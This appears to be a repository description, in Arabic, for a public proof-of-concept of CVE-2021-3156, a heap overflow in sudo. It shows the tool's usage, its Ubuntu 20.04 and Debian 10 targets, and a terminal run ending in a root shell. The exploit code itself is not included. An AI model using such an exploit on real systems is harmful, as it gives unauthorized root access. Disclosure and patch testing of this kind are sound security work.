teamtopkarl/cve-2021-3156إثبات مفهوم لاستغلال CVE-2021-3156، وهو تجاوز سعة مخزن مؤقت قائم على الكومة في sudo يسمح بتصعيد الامتيازات المحلية إلى صلاحيات الجذر على Ubuntu 20.04 و Debian 10.
xchg@ubuntu:~/Desktop/CVE-2021-3156$ ./sudo-hax-me-a-sandwich
** CVE-2021-3156 PoC بواسطة blasty [email protected]
الاستخدام: ./sudo-hax-me-a-sandwich
0) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
1) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
xchg@ubuntu:~/Desktop/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0
** CVE-2021-3156 PoC بواسطة blasty [email protected]
استخدام الهدف: 'Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31' ** صلِّ من أجل شل الجذر.. ** [+] bl1ng bl1ng! لقد نجحنا!
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(xchg)